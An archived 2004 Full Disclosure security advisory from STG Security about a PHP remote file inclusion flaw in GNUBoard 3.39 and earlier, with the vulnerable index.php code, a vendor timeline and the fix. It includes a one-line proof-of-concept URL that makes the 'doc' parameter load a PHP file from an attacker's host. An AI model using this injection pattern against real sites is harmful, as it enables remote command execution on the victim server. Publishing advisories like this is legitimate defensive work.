Full Disclosure mailing list archives
STG Security Advisory: [SSA-20041214-14] GNUBoard PHP injection vulnerability
From: "SSR Team" <advisory () stgsecurity com>
Date: Wed, 15 Dec 2004 19:30:28 +0900
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 STG Security Advisory: [SSA-20041214-14] GNUBoard PHP injection vulnerability. Revision 1.0 Date Published: 2004-12-14 (KST) Last Update: 2004-12-14 Disclosed by SSR Team (advisory () stgsecurity com) Summary ======== GNUBoard is one of widely used web BBS applications in Korea. Because of an input validation flaw, a malicious attack can run arbitrary commands with the privilege of the HTTPD process, which is typically run as the nobody user. Vulnerability Class =================== Implementation Error: Input validation flaw Impact ====== High : arbitrary command execution. Affected Products ================ GNUBoard 3.39 and prior versions php.ini : register_globals = On Vendor Status: FIXED ==================== 2004-12-06 Vulnerability found. 2004-12-06 GNUBoard developer notified. 2004-12-06 GNUBoard 3.40 is released. 2004-12-14 Official release. Details ======= For improper verification of input value of the parameter, the "doc" parameter in "index.php" can be exploited to include arbitrary files of external or local resources to execute arbitary commands. index.php - - ---- if (!$doc) { (1) <-- check point $doc = './main.php'; } // php ??? ??? ??? ? ?? $tmp = explode(".", $doc); $extension = $tmp[count($tmp)-1]; if (!preg_match("/^(php[3]?|[p]?htm[l]?)$/i", $extension) || count($tmp)<=1) { echo "php php3 htm html phtml ??? ??? ? ????."; exit; } ...... ob_start(); include $doc; (2) <-- include point - - ---- Proof of concept : http://[victim]/gnu3/index.php?doc=http://[attacker]/[attack].php Solution ========= Update to 3.40 http://sir.co.kr/?doc=bbs/gnuboard.php&bo_table=pds&page=1&wr_id=1871 Vendor URL ========== http://www.sir.co.kr/ Credits ====== Jeremy Bae at STG Security -----BEGIN PGP SIGNATURE----- Version: PGP 8.0 iQA/AwUBQcAR6j9dVHd/hpsuEQJapACg1dVMXa7JIQE106S6zHRa/CoXM1YAoKwz Eay4eAl41ONg1Db1HI4ZRdqY =7l/U -----END PGP SIGNATURE----- _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Current thread:
- STG Security Advisory: [SSA-20041214-14] GNUBoard PHP injection vulnerability SSR Team (Dec 21)